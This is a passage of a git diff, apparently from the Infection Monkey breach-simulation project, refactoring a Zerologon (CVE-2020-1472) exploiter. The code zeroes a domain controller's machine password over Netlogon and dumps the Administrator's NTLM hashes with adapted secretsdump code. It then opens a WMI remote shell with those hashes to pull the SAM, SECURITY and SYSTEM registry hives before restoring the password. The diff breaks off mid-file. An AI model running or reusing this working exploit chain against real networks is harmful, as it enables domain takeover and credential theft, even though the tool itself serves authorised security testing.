diff --git a/monkey/infection_monkey/exploit/HostExploiter.py b/monkey/infection_monkey/exploit/HostExploiter.py index 9defc4807..96187ae03 100644 --- a/monkey/infection_monkey/exploit/HostExploiter.py +++ b/monkey/infection_monkey/exploit/HostExploiter.py @@ -35,13 +35,10 @@ class HostExploiter(Plugin): # Usual values are 'vulnerability' or 'brute_force' EXPLOIT_TYPE = ExploitType.VULNERABILITY - # Specifies whether a machine, on which the exploit was successful, should be added to the set of exploited - # machines. This would then prevent any other exploits from being attempted on it. - # Sample use case - Zerologon exploiter: - # Exploited machine gives us useful credentials which can be used, but machine isn't fully compromised by Zerologon - # on its own. Some other exploiter using PTH needs to exploit it with the extracted credentials so that the monkey - # can propagate to it. - SHOULD_ADD_MACHINE_TO_EXPLOITED_SET = True + # Determines if successful exploitation should stop further exploit attempts on that machine. + # Generally, should be True for RCE type exploiters and False if we don't expect the exploiter to run the monkey agent. + # Example: Zerologon steals credentials + RUNS_AGENT_ON_SUCCESS = True @property @abstractmethod @@ -109,4 +106,5 @@ class HostExploiter(Plugin): :param cmd: String of executed command. e.g. 'echo Example' """ powershell = True if "powershell" in cmd.lower() else False - self.exploit_info['executed_cmds'].append({'cmd': cmd, 'powershell': powershell}) + self.exploit_info['executed_cmds'].append( + {'cmd': cmd, 'powershell': powershell}) diff --git a/monkey/infection_monkey/exploit/zerologon.py b/monkey/infection_monkey/exploit/zerologon.py index 2951467da..dc912f43d 100644 --- a/monkey/infection_monkey/exploit/zerologon.py +++ b/monkey/infection_monkey/exploit/zerologon.py @@ -3,105 +3,54 @@ Zerologon, CVE-2020-1472 Implementation based on https://github.com/dirkjanm/CVE-2020-1472/ and https://github.com/risksense/zerologon/. """ -import cmd import io import logging -import ntpath import os import sys -import time -import traceback from binascii import unhexlify +from typing import List, Optional import impacket from impacket.dcerpc.v5 import epm, nrpc, transport -from impacket.dcerpc.v5.dcom import wmi -from impacket.dcerpc.v5.dcomrt import DCOMConnection from impacket.dcerpc.v5.dtypes import NULL -from impacket.examples.secretsdump import (LocalOperations, LSASecrets, - NTDSHashes, RemoteOperations, - SAMHashes) -from impacket.smbconnection import SMBConnection from common.utils.exploit_enum import ExploitType from infection_monkey.exploit.HostExploiter import HostExploiter +from infection_monkey.exploit.zerologon_utils.dump_secrets import DumpSecrets +from infection_monkey.exploit.zerologon_utils.options import \ + OptionsForSecretsdump +from infection_monkey.exploit.zerologon_utils.wmiexec import Wmiexec from infection_monkey.network.zerologon_fingerprint import ZerologonFinger LOG = logging.getLogger(__name__) -_orig_stdout = None -_new_stdout = None - - -def _set_stdout_to_in_memory_text_stream(): - # set stdout to in-memory text stream, to capture info that would otherwise be printed - global _orig_stdout, _new_stdout - _orig_stdout = sys.stdout - _new_stdout = io.StringIO() - sys.stdout = _new_stdout - - -def _unset_stdout_and_return_captured(): - # set stdout to original and return captured output - global _orig_stdout, _new_stdout - sys.stdout = _orig_stdout - _new_stdout.seek(0) - return _new_stdout.read() - - class ZerologonExploiter(HostExploiter): _TARGET_OS_TYPE = ['windows'] _EXPLOITED_SERVICE = 'Netlogon' EXPLOIT_TYPE = ExploitType.VULNERABILITY - SHOULD_ADD_MACHINE_TO_EXPLOITED_SET = False + RUNS_AGENT_ON_SUCCESS = False MAX_ATTEMPTS = 2000 - OPTIONS_FOR_SECRETSDUMP =\ - { - 'aes_key': None, - 'bootkey': None, - 'can_process_SAM_LSA': True, - 'dc_ip': None, - 'debug': False, - 'exec_method': 'smbexec', - 'hashes': None, - 'history': False, - 'is_remote': True, - 'just_dc': True, # becomes False in a copy in get_original_pwd_nthash() - 'just_dc_ntlm': False, - 'just_dc_user': None, - 'k': False, - 'keytab': None, - 'no_lmhash': True, - 'no_pass': True, - 'ntds': None, - 'outputfile': None, - 'pwd_last_set': False, - 'resumefile': None, - 'sam': None, - 'security': None, - 'system': None, # sam, security, and system are assigned in a copy in get_original_pwd_nthash() - 'target': '', - 'target_ip': '', # target and target_ip are assigned in a copy in get_admin_pwd_hashes() - 'ts': False, - 'use_vss': False, - 'user_status': False - } + ERROR_CODE_ACCESS_DENIED = 0xc0000022 - def __init__(self, host): + def __init__(self, host: object): super().__init__(host) self.vulnerable_port = None self.zerologon_finger = ZerologonFinger() self.exploit_info['credentials'] = {} - def _exploit_host(self): + def _exploit_host(self) -> Optional[bool]: self.dc_ip, self.dc_name, self.dc_handle = self.zerologon_finger._get_dc_details(self.host) if self.is_exploitable(): LOG.info("Target vulnerable, changing account password to empty string.") # Connect to the DC's Netlogon service. - rpc_con = self.connect_to_dc() + try: + rpc_con = self.connect_to_dc() + except Exception as e: + LOG.info(f"Exception occurred while connecting to DC: {str(e)}") + return # Start exploiting attempts. # Max attempts = 2000. Expected average number of attempts needed: 256. @@ -113,7 +62,7 @@ class ZerologonExploiter(HostExploiter): except nrpc.DCERPCSessionError as e: # Failure should be due to a STATUS_ACCESS_DENIED error. # Otherwise, the attack is probably not working. - if e.get_error_code() != 0xc0000022: + if e.get_error_code() != self.ERROR_CODE_ACCESS_DENIED: LOG.info(f"Unexpected error code from DC: {e.get_error_code()}") except BaseException as e: LOG.info(f"Unexpected error: {e}") @@ -121,18 +70,15 @@ class ZerologonExploiter(HostExploiter): if result is not None: break - self.report_login_attempt(result=False, - user=self.dc_name) - if result['ErrorCode'] == 0: - self.report_login_attempt(result=True, - user=self.dc_name) + self.report_login_attempt(result=True, user=self.dc_name) + _exploited = True LOG.info("Exploit complete!") else: + self.report_login_attempt(result=False, user=self.dc_name) + _exploited = False LOG.info(f"Non-zero return code: {result['ErrorCode']}. Something went wrong.") - _exploited = True - else: LOG.info("Exploit failed. Target is either patched or an unexpected error was encountered.") _exploited = False @@ -148,10 +94,10 @@ class ZerologonExploiter(HostExploiter): return _exploited - def is_exploitable(self): + def is_exploitable(self) -> bool: return self.zerologon_finger.get_host_fingerprint(self.host) - def connect_to_dc(self): + def connect_to_dc(self) -> object: binding = epm.hept_map(self.dc_ip, nrpc.MSRPC_UUID_NRPC, protocol='ncacn_ip_tcp') rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc() @@ -159,20 +105,26 @@ class ZerologonExploiter(HostExploiter): rpc_con.bind(nrpc.MSRPC_UUID_NRPC) return rpc_con - def attempt_exploit(self, rpc_con): + def attempt_exploit(self, rpc_con: object) -> object: request = nrpc.NetrServerPasswordSet2() + ZerologonExploiter._set_up_request(request, self.dc_name) request['PrimaryName'] = self.dc_handle + '\x00' - request['AccountName'] = self.dc_name + '$\x00' - request['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel - authenticator = nrpc.NETLOGON_AUTHENTICATOR() - authenticator['Credential'] = b'\x00' * 8 - authenticator['Timestamp'] = 0 - request['Authenticator'] = authenticator - request['ComputerName'] = self.dc_name + '\x00' request['ClearNewPassword'] = b'\x00' * 516 + return rpc_con.request(request) - def restore_password(self): + @staticmethod + def _set_up_request(request: object, dc_name: str) -> None: + authenticator = nrpc.NETLOGON_AUTHENTICATOR() + authenticator['Credential'] = b'\x00' * 8 + authenticator['Timestamp'] = b'\x00' * 4 + + request['AccountName'] = dc_name + '$\x00' + request['ComputerName'] = dc_name + '\x00' + request['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel + request['Authenticator'] = authenticator + + def restore_password(self) -> Optional[bool]: LOG.info("Restoring original password...") LOG.debug("DCSync; getting admin password's hashes.") @@ -187,6 +139,8 @@ class ZerologonExploiter(HostExploiter): if not original_pwd_nthash: raise Exception("Couldn't extract original DC password's nthash.") + self.remove_locally_saved_HKLM_keys() + # Keep authenticating until successful. LOG.debug("Attempting password restoration.") for _ in range(0, self.MAX_ATTEMPTS): @@ -203,24 +157,42 @@ class ZerologonExploiter(HostExploiter): except Exception as e: LOG.error(e) - def get_admin_pwd_hashes(self): - options = self.OPTIONS_FOR_SECRETSDUMP.copy() - options['target'] = '$@'.join([self.dc_name, self.dc_ip]) # format for DC account - "NetBIOSName$@0.0.0.0" - options['target_ip'] = self.dc_ip - options['dc_ip'] = self.dc_ip + def get_admin_pwd_hashes(self) -> str: + options = OptionsForSecretsdump( + target=f"{self.dc_name}$@{self.dc_ip}", # format for DC account - "NetBIOSName$@0.0.0.0" + target_ip=self.dc_ip, + dc_ip=self.dc_ip + ) + + dumped_secrets = self.get_dumped_secrets(remote_name=self.dc_ip, + username=f"{self.dc_name}$", + options=options) - dumped_secrets = self.get_dumped_secrets(options=options, - remote_name=self.dc_ip, - username=f"{self.dc_name}$") user = 'Administrator' - for secret in dumped_secrets: - if user in secret: - hashes = secret.split(':')[2:4] # format of secret - "domain\uid:rid:lmhash:nthash:::" - self.add_extracted_creds_to_exploit_info(user, hashes[0], hashes[1]) - self.add_extracted_creds_to_monkey_config(user, hashes[0], hashes[1]) - return ':'.join(hashes) # format - "lmhash:nthash" + hashes = ZerologonExploiter._extract_user_hashes_from_secrets(user=user, secrets=dumped_secrets) + self.store_extracted_hashes_for_exploitation(user=user, hashes=hashes) + return ':'.join(hashes) # format - "lmhash:nthash" - def add_extracted_creds_to_exploit_info(self, user, lmhash, nthash): + def get_dumped_secrets(self, remote_name: str = '', username: str = '', options: Optional[object] = None) -> List[str]: + dumper = DumpSecrets(remote_name=remote_name, + username=username, + options=options) + dumped_secrets = dumper.dump().split('\n') + return dumped_secrets + + @staticmethod + def _extract_user_hashes_from_secrets(user: str, secrets: List[str]) -> List[str]: + for secret in secrets: + if user in secret: + # format of secret - "domain\uid:rid:lmhash:nthash:::" + hashes = secret.split(':')[2:4] + return hashes # format - [lmhash, nthash] + + def store_extracted_hashes_for_exploitation(self, user: str, hashes: List[str]) -> None: + self.add_extracted_creds_to_exploit_info(user, hashes[0], hashes[1]) + self.add_extracted_creds_to_monkey_config(user, hashes[0], hashes[1]) + + def add_extracted_creds_to_exploit_info(self, user: str, lmhash: str, nthash: str) -> None: self.exploit_info['credentials'].update({ user: { 'username': user, @@ -230,7 +202,8 @@ class ZerologonExploiter(HostExploiter): } }) - def add_extracted_creds_to_monkey_config(self, user, lmhash, nthash): # so other exploiters can use these creds + # so other exploiters can use these creds + def add_extracted_creds_to_monkey_config(self, user: str, lmhash: str, nthash: str) -> None: if user not in self._config.exploit_user_list: self._config.exploit_user_list.append(user) @@ -240,29 +213,34 @@ class ZerologonExploiter(HostExploiter): if nthash not in self._config.exploit_ntlm_hash_list: self._config.exploit_ntlm_hash_list.append(nthash) - def get_original_pwd_nthash(self, admin_pwd_hashes): + def get_original_pwd_nthash(self, admin_pwd_hashes: str) -> str: if not self.save_HKLM_keys_locally(admin_pwd_hashes): return - options = self.OPTIONS_FOR_SECRETSDUMP.copy() - for name in ['system', 'sam', 'security']: - options[name] = os.path.join(os.path.expanduser('~'), f'monkey-{name}.save') - options['dc_ip'] = self.dc_ip - options['just_dc'] = False + options = OptionsForSecretsdump( + dc_ip=self.dc_ip, + just_dc=False, + system=os.path.join(os.path.expanduser('~'), 'monkey-system.save'), + sam=os.path.join(os.path.expanduser('~'), 'monkey-sam.save'), + security=os.path.join(os.path.expanduser('~'), 'monkey-security.save') + ) - dumped_secrets = self.get_dumped_secrets(options=options, - remote_name='LOCAL') + dumped_secrets = self.get_dumped_secrets(remote_name='LOCAL', + options=options) for secret in dumped_secrets: if '$MACHINE.ACC: ' in secret: # format of secret - "$MACHINE.ACC: lmhash:nthash" nthash = secret.split(':')[2] return nthash - def get_dumped_secrets(self, options, remote_name='', username='', password='', domain=''): - dumper = DumpSecrets(remote_name, username, password, domain, options) - dumped_secrets = dumper.dump().split('\n') - return dumped_secrets + def remove_locally_saved_HKLM_keys(self) -> None: + for name in ['system', 'sam', 'security']: + path = os.path.join(os.path.expanduser('~'), f'monkey-{name}.save') + try: + os.remove(path) + except Exception as e: + LOG.info(f"Exception occurred while removing file {path} from system: {str(e)}") - def save_HKLM_keys_locally(self, admin_pwd_hashes): + def save_HKLM_keys_locally(self, admin_pwd_hashes: str) -> bool: LOG.debug("Starting remote shell on victim.") wmiexec = Wmiexec(ip=self.dc_ip, @@ -272,7 +250,9 @@ class ZerologonExploiter(HostExploiter): remote_shell = wmiexec.get_remote_shell() if remote_shell: - _set_stdout_to_in_memory_text_stream() + _orig_stdout = sys.stdout + _new_stdout = io.StringIO() + sys.stdout = _new_stdout try: # Save HKLM keys on victim. @@ -286,7 +266,8 @@ class ZerologonExploiter(HostExploiter): remote_shell.onecmd('get security.save') # Delete saved keys on victim. - remote_shell.onecmd('del /f system.save sam.save security.save') + remote_shell.onecmd( + 'del /f system.save sam.save security.save') wmiexec.close() @@ -296,15 +277,24 @@ class ZerologonExploiter(HostExploiter): LOG.info(f"Exception occured: {str(e)}") finally: - info = _unset_stdout_and_return_captured() + sys.stdout = _orig_stdout + _new_stdout.seek(0) + info = _new_stdout.read() + LOG.debug(f"Getting victim HKLM keys via remote shell: {info}") else: raise Exception("Could not start remote shell on DC.") - def attempt_restoration(self, original_pwd_nthash): + return False + + def attempt_restoration(self, original_pwd_nthash: str) -> Optional[object]: # Connect to the DC's Netlogon service. - rpc_con = self.connect_to_dc() + try: + rpc_con = self.connect_to_dc() + except Exception as e: + LOG.info(f"Exception occurred while connecting to DC: {str(e)}") + return plaintext = b'\x00'*8 ciphertext = b'\x00'*8 @@ -322,28 +312,22 @@ class ZerologonExploiter(HostExploiter): self.dc_name + '\x00', ciphertext, flags ) - # It worked! assert server_auth['ErrorCode'] == 0 - # server_auth.dump() session_key = nrpc.ComputeSessionKeyAES(None, b'\x00'*8, server_challenge, unhexlify("31d6cfe0d16ae931b73c59d7e0c089c0")) try: - authenticator = nrpc.NETLOGON_AUTHENTICATOR() - authenticator['Credential'] = ciphertext - authenticator['Timestamp'] = b"\x00" * 4 - nrpc.NetrServerPasswordSetResponse = NetrServerPasswordSetResponse - nrpc.OPNUMS[6] = (NetrServerPasswordSet, nrpc.NetrServerPasswordSetResponse) + nrpc.OPNUMS[6] = (NetrServerPasswordSet, + nrpc.NetrServerPasswordSetResponse) request = NetrServerPasswordSet() + ZerologonExploiter._set_up_request(request, self.dc_name) request['PrimaryName'] = NULL - request['AccountName'] = self.dc_name + '$\x00' - request['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel - request['ComputerName'] = self.dc_name + '\x00' - request["Authenticator"] = authenticator - pwd_data = impacket.crypto.SamEncryptNTLMHash(unhexlify(original_pwd_nthash), session_key) + pwd_data = impacket.crypto.SamEncryptNTLMHash( + unhexlify(original_pwd_nthash), session_key) request["UasNewPassword"] = pwd_data + rpc_con.request(request) except Exception as e: @@ -353,7 +337,7 @@ class ZerologonExploiter(HostExploiter): except nrpc.DCERPCSessionError as e: # Failure should be due to a STATUS_ACCESS_DENIED error; otherwise, the attack is probably not working. - if e.get_error_code() == 0xc0000022: + if e.get_error_code() == self.ERROR_CODE_ACCESS_DENIED: return None else: LOG.info(f"Unexpected error code from DC: {e.get_error_code()}") @@ -379,365 +363,3 @@ class NetrServerPasswordSetResponse(nrpc.NDRCALL): ('ReturnAuthenticator', nrpc.NETLOGON_AUTHENTICATOR), ('ErrorCode', nrpc.NTSTATUS), ) - - -# Adapted from https://github.com/SecureAuthCorp/impacket/blob/master/examples/secretsdump.py -# Used to get Administrator and original DC passwords' hashes -class DumpSecrets: - def __init__(self, remote_name, username='', password='', domain='', options=None): - self.__use_VSS_method = options['use_vss'] - self.__remote_name = remote_name - self.__remote_host = options['target_ip'] - self.__username = username - self.__password = password - self.__domain = domain - self.__lmhash = '' - self.__nthash = '' - self.__aes_key = options['aes_key'] - self.__smb_connection = None - self.__remote_ops = None - self.__SAM_hashes = None - self.__NTDS_hashes = None - self.__LSA_secrets = None - self.__system_hive = options['system'] - self.__bootkey = options['bootkey'] - self.__security_hive = options['security'] - self.__sam_hive = options['sam'] - self.__ntds_file = options['ntds'] - self.__history = options['history'] - self.__no_lmhash = options['no_lmhash'] - self.__is_remote = options['is_remote'] - self.__output_file_name = options['outputfile'] - self.__do_kerberos = options['k'] - self.__just_DC = options['just_dc'] - self.__just_DC_NTLM = options['just_dc_ntlm'] - self.__just_user = options['just_dc_user'] - self.__pwd_last_set = options['pwd_last_set'] - self.__print_user_status = options['user_status'] - self.__resume_file_name = options['resumefile'] - self.__can_process_SAM_LSA = options['can_process_SAM_LSA'] - self.__kdc_host = options['dc_ip'] - self.__options = options - - if options['hashes'] is not None: - self.__lmhash, self.__nthash = options['hashes'].split(':') - - def connect(self): - self.__smb_connection = SMBConnection(self.__remote_name, self.__remote_host) - self.__smb_connection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) - - def dump(self): - _set_stdout_to_in_memory_text_stream() - dumped_secrets = '' - - try: - if self.__remote_name.upper() == 'LOCAL' and self.__username == '': - self.__is_remote = False - self.__use_VSS_method = True - if self.__system_hive: - local_operations = LocalOperations(self.__system_hive) - bootkey = local_operations.getBootKey() - if self.__ntds_file is not None: - # Let's grab target's configuration about LM Hashes storage. - self.__no_lmhash = local_operations.checkNoLMHashPolicy() - else: - import binascii - bootkey = binascii.unhexlify(self.__bootkey) - - else: - self.__is_remote = True - bootkey = None - try: - try: - self.connect() - except Exception as e: - if os.getenv('KRB5CCNAME') is not None and self.__do_kerberos is True: - # SMBConnection failed. That might be because there was no way to log into the - # target system. We just have a last resort. Hope we have tickets cached and that they - # will work - LOG.debug('SMBConnection didn\'t work, hoping Kerberos will help (%s)' % str(e)) - pass - else: - raise - - self.__remote_ops = RemoteOperations(self.__smb_connection, self.__do_kerberos, self.__kdc_host) - self.__remote_ops.setExecMethod(self.__options['exec_method']) - if self.__just_DC is False and self.__just_DC_NTLM is False or self.__use_VSS_method is True: - self.__remote_ops.enableRegistry() - bootkey = self.__remote_ops.getBootKey() - # Let's check whether target system stores LM Hashes. - self.__no_lmhash = self.__remote_ops.checkNoLMHashPolicy() - except Exception as e: - self.__can_process_SAM_LSA = False - if str(e).find('STATUS_USER_SESSION_DELETED') and os.getenv('KRB5CCNAME') is not None \ - and self.__do_kerberos is True: - # Giving some hints here when SPN target name validation is set to something different to Off. - # This will prevent establishing SMB connections using TGS for SPNs different to cifs/. - LOG.error('Policy SPN target name validation might be restricting full DRSUAPI dump.' + - 'Try -just-dc-user') - else: - LOG.error('RemoteOperations failed: %s' % str(e)) - - # If RemoteOperations succeeded, then we can extract SAM and LSA. - if self.__just_DC is False and self.__just_DC_NTLM is False and self.__can_process_SAM_LSA: - try: - if self.__is_remote is True: - SAM_file_name = self.__remote_ops.saveSAM() - else: - SAM_file_name = self.__sam_hive - - self.__SAM_hashes = SAMHashes(SAM_file_name, bootkey, isRemote=self.__is_remote) - self.__SAM_hashes.dump() - if self.__output_file_name is not None: - self.__SAM_hashes.export(self.__output_file_name) - except Exception as e: - LOG.error('SAM hashes extraction failed: %s' % str(e)) - - try: - if self.__is_remote is True: - SECURITY_file_name = self.__remote_ops.saveSECURITY() - else: - SECURITY_file_name = self.__security_hive - - self.__LSA_secrets = LSASecrets(SECURITY_file_name, bootkey, self.__remote_ops, - isRemote=self.__is_remote, history=self.__history) - self.__LSA_secrets.dumpCachedHashes() - if self.__output_file_name is not None: - self.__LSA_secrets.exportCached(self.__output_file_name) - self.__LSA_secrets.dumpSecrets() - if self.__output_file_name is not None: - self.__LSA_secrets.exportSecrets(self.__output_file_name) - except Exception as e: - LOG.debug(traceback.print_exc()) - LOG.error('LSA hashes extraction failed: %s' % str(e)) - - # NTDS Extraction we can try regardless of RemoteOperations failing. It might still work. - if self.__is_remote is True: - if self.__use_VSS_method and self.__remote_ops is not None: - NTDS_file_name = self.__remote_ops.saveNTDS() - else: - NTDS_file_name = None - else: - NTDS_file_name = self.__ntds_file - - self.__NTDS_hashes = NTDSHashes(NTDS_file_name, bootkey, isRemote=self.__is_remote, history=self.__history, - noLMHash=self.__no_lmhash, remoteOps=self.__remote_ops, - useVSSMethod=self.__use_VSS_method, justNTLM=self.__just_DC_NTLM, - pwdLastSet=self.__pwd_last_set, resumeSession=self.__resume_file_name, - outputFileName=self.__output_file_name, justUser=self.__just_user, - printUserStatus=self.__print_user_status) - try: - self.__NTDS_hashes.dump() - except Exception as e: - LOG.debug(traceback.print_exc()) - if str(e).find('ERROR_DS_DRA_BAD_DN') >= 0: - # We don't store the resume file if this error happened, since this error is related to lack - # of enough privileges to access DRSUAPI. - resume_file = self.__NTDS_hashes.getResumeSessionFile() - if resume_file is not None: - os.unlink(resume_file) - LOG.error(e) - if self.__just_user and str(e).find("ERROR_DS_NAME_ERROR_NOT_UNIQUE") >= 0: - LOG.error("You just got that error because there might be some duplicates of the same name. " - "Try specifying the domain name for the user as well. It is important to specify it " - "in the form of NetBIOS domain name/user (e.g. contoso/Administratror).") - elif self.__use_VSS_method is False: - LOG.error('Something wen\'t wrong with the DRSUAPI approach. Try again with -use-vss parameter') - self.cleanup() - except (Exception, KeyboardInterrupt) as e: - LOG.debug(traceback.print_exc()) - LOG.error(e) - if self.__NTDS_hashes is not None: - if isinstance(e, KeyboardInterrupt): - resume_file = self.__NTDS_hashes.getResumeSessionFile() - if resume_file is not None: - os.unlink(resume_file) - try: - self.cleanup() - except Exception: - pass - finally: - dumped_secrets = _unset_stdout_and_return_captured() # includes hashes and kerberos keys - return dumped_secrets - - def cleanup(self): - LOG.debug('Cleaning up...') - if self.__remote_ops: - self.__remote_ops.finish() - if self.__SAM_hashes: - self.__SAM_hashes.finish() - if self.__LSA_secrets: - self.__LSA_secrets.finish() - if self.__NTDS_hashes: - self.__NTDS_hashes.finish() - - -# Adapted from https://github.com/SecureAuthCorp/impacket/blob/master/examples/wmiexec.py -# Used to get HKLM keys for restoring original DC password -class Wmiexec: - OUTPUT_FILENAME = '__' + str(time.time()) - - def __init__(self, ip, username, hashes, password='', domain='', share='ADMIN$'): - self.__ip = ip - self.__username = username - self.__password = password - self.__domain = domain - self.__lmhash, self.__nthash = hashes.split(':') - self.__share = share - self.shell = None - - def connect(self): - self.smbConnection = SMBConnection(self.__ip, self.__ip) - self.smbConnection.login(user=self.__username, - password=self.__password, - domain=self.__domain, - lmhash=self.__lmhash, - nthash=self.__nthash) - - self.dcom = DCOMConnection(target=self.__ip, - username=self.__username, - password=self.__password, - domain=self.__domain, - lmhash=self.__lmhash, - nthash=self.__nthash, - oxidResolver=True) - - try: - iInterface = self.dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login) - iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) - self.iWbemServices = iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL) - iWbemLevel1Login.RemRelease() - - except (Exception, KeyboardInterrupt) as e: - LOG.error(str(e)) - self.smbConnection.logoff() - self.dcom.disconnect() - - def get_remote_shell(self): - self.connect() - win32Process, _ = self.iWbemServices.GetObject('Win32_Process') - self.shell = RemoteShell(self.__share, win32Process, self.smbConnection, self.OUTPUT_FILENAME) - return self.shell - - def close(self): - self.smbConnection.close() - self.smbConnection = None - self.dcom.disconnect() - self.dcom = None - - -# Adapted from https://github.com/SecureAuthCorp/impacket/blob/master/examples/wmiexec.py -# Used to start remote shell on victim -class RemoteShell(cmd.Cmd): - CODEC = sys.stdout.encoding - - def __init__(self, share, win32Process, smbConnection, outputFilename): - cmd.Cmd.__init__(self) - self.__share = share - self.__output = '\\' + outputFilename - self.__outputBuffer = str('') - self.__shell = 'cmd.exe /Q /c ' - self.__win32Process = win32Process - self.__transferClient = smbConnection - self.__pwd = str('C:\\') - self.__noOutput = False - - # We don't wanna deal with timeouts from now on. - if self.__transferClient is not None: - self.__transferClient.setTimeout(100000) - self.do_cd('\\') - else: - self.__noOutput = True - - def do_get(self, src_path): - try: - import ntpath - newPath = ntpath.normpath(ntpath.join(self.__pwd, src_path)) - drive, tail = ntpath.splitdrive(newPath) - filename = ntpath.basename(tail) - local_file_path = os.path.join(os.path.expanduser('~'), 'monkey-'+filename) - fh = open(local_file_path, 'wb') - LOG.info("Downloading %s\\%s" % (drive, tail)) - self.__transferClient.getFile(drive[:-1]+'$', tail, fh.write) - fh.close() - except Exception as e: - LOG.error(str(e)) - if os.path.exists(local_file_path): - os.remove(local_file_path) - - def do_exit(self, s): - return True - - def do_cd(self, s): - self.execute_remote('cd ' + s) - if len(self.__outputBuffer.strip('\r\n')) > 0: - print(self.__outputBuffer) - self.__outputBuffer = '' - else: - self.__pwd = ntpath.normpath(ntpath.join(self.__pwd, s)) - self.execute_remote('cd ') - self.__pwd = self.__outputBuffer.strip('\r\n') - self.prompt = (self.__pwd + '>') - self.__outputBuffer = '' - - def default(self, line): - # Let's try to guess if the user is trying to change drive. - if len(line) == 2 and line[1] == ':': - # Execute the command and see if the drive is valid. - self.execute_remote(line) - if len(self.__outputBuffer.strip('\r\n')) > 0: - # Something went wrong. - print(self.__outputBuffer) - self.__outputBuffer = '' - else: - # Drive valid, now we should get the current path. - self.__pwd = line - self.execute_remote('cd ') - self.__pwd = self.__outputBuffer.strip('\r\n') - self.prompt = (self.__pwd + '>') - self.__outputBuffer = '' - else: - if line != '': - self.send_data(line) - - def get_output(self): - def output_callback(data): - try: - self.__outputBuffer += data.decode(self.CODEC) - except UnicodeDecodeError: - LOG.error('Decoding error detected, consider running chcp.com at the target,\nmap the result with ' - 'https://docs.python.org/3/library/codecs.html#standard-encodings\nand then execute wmiexec.py ' - 'again with -codec and the corresponding codec') - self.__outputBuffer += data.decode(self.CODEC, errors='replace') - - if self.__noOutput is True: - self.__outputBuffer = '' - return - - while True: - try: - self.__transferClient.getFile(self.__share, self.__output, output_callback) - break - except Exception as e: - if str(e).find('STATUS_SHARING_VIOLATION') >= 0: - # Output not finished, let's wait. - time.sleep(1) - pass - elif str(e).find('Broken') >= 0: - # The SMB Connection might have timed out, let's try reconnecting. - LOG.debug('Connection broken, trying to recreate it') - self.__transferClient.reconnect() - return self.get_output() - self.__transferClient.deleteFile(self.__share, self.__output) - - def execute_remote(self, data): - command = self.__shell + data - if self.__noOutput is False: - command += ' 1> ' + '\\\\127.0.0.1\\%s' % self.__share + self.__output + ' 2>&1' - self.__win32Process.Create(command, self.__pwd, None) - self.get_output() - - def send_data(self, data): - self.execute_remote(data) - print(self.__outputBuffer) - self.__outputBuffer = '' diff --git a/monkey/infection_monkey/exploit/zerologon_utils/dump_secrets.py b/monkey/infection_monkey/exploit/zerologon_utils/dump_secrets.py new file mode 100644 index 000000000..19667a7da --- /dev/null +++ b/monkey/infection_monkey/exploit/zerologon_utils/dump_secrets.py @@ -0,0 +1,193 @@ +import io +import logging +import os +import sys +import traceback + +from impacket.examples.secretsdump import (LocalOperations, LSASecrets, + NTDSHashes, RemoteOperations, + SAMHashes) +from impacket.smbconnection import SMBConnection + +LOG = logging.getLogger(__name__) + + +# Adapted from https://github.com/SecureAuthCorp/impacket/blob/master/examples/secretsdump.py +# Used to get Administrator and original DC passwords' hashes +class DumpSecrets: + def __init__(self, remote_name, username='', password='', domain='', options=None): + self.__use_VSS_method = options.use_vss + self.__remote_name = remote_name + self.__remote_host = options.target_ip + self.__username = username + self.__password = password + self.__domain = domain + self.__lmhash = '' + self.__nthash = '' + self.__smb_connection = None + self.__remote_ops = None + self.__SAM_hashes = None + self.__NTDS_hashes = None + self.__LSA_secrets = None + self.__system_hive = options.system + self.__bootkey = options.bootkey + self.__security_hive = options.security + self.__sam_hive = options.sam + self.__ntds_file = options.ntds + self.__no_lmhash = options.no_lmhash + self.__is_remote = options.is_remote + self.__do_kerberos = options.k + self.__just_DC = options.just_dc + self.__just_DC_NTLM = options.just_dc_ntlm + self.__can_process_SAM_LSA = options.can_process_SAM_LSA + self.__kdc_host = options.dc_ip + self.__options = options + + if options.hashes is not None: + self.__lmhash, self.__nthash = options.hashes.split(':') + + def connect(self): + self.__smb_connection = SMBConnection( + self.__remote_name, self.__remote_host) + self.__smb_connection.login( + self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) + + def dump(self): + _orig_stdout = sys.stdout + _new_stdout = io.StringIO() + sys.stdout = _new_stdout + dumped_secrets = '' + + try: + if self.__remote_name.upper() == 'LOCAL' and self.__username == '': + self.__is_remote = False + self.__use_VSS_method = True + if self.__system_hive: + local_operations = LocalOperations(self.__system_hive) + bootkey = local_operations.getBootKey() + if self.__ntds_file is not None: + # Let's grab target's configuration about LM Hashes storage. + self.__no_lmhash = local_operations.checkNoLMHashPolicy() + else: + import binascii + bootkey = binascii.unhexlify(self.__bootkey) + + else: + self.__is_remote = True + bootkey = None + try: + try: + self.connect() + except Exception as e: + if os.getenv('KRB5CCNAME') is not None and self.__do_kerberos is True: + # SMBConnection failed. That might be because there was no way to log into the + # target system. We just have a last resort. Hope we have tickets cached and that they + # will work + LOG.debug( + 'SMBConnection didn\'t work, hoping Kerberos will help (%s)' % str(e)) + else: + raise + + self.__remote_ops = RemoteOperations( + self.__smb_connection, self.__do_kerberos, self.__kdc_host) + self.__remote_ops.setExecMethod(self.__options.exec_method) + if self.__just_DC is False and self.__just_DC_NTLM is False or self.__use_VSS_method is True: + self.__remote_ops.enableRegistry() + bootkey = self.__remote_ops.getBootKey() + # Let's check whether target system stores LM Hashes. + self.__no_lmhash = self.__remote_ops.checkNoLMHashPolicy() + except Exception as e: + self.__can_process_SAM_LSA = False + if str(e).find('STATUS_USER_SESSION_DELETED') and os.getenv('KRB5CCNAME') is not None \ + and self.__do_kerberos is True: + # Giving some hints here when SPN target name validation is set to something different to Off. + # This will prevent establishing SMB connections using TGS for SPNs different to cifs/. + LOG.error('Policy SPN target name validation might be restricting full DRSUAPI dump.' + + 'Try -just-dc-user') + else: + LOG.error('RemoteOperations failed: %s' % str(e)) + + # If RemoteOperations succeeded, then we can extract SAM and LSA. + if self.__just_DC is False and self.__just_DC_NTLM is False and 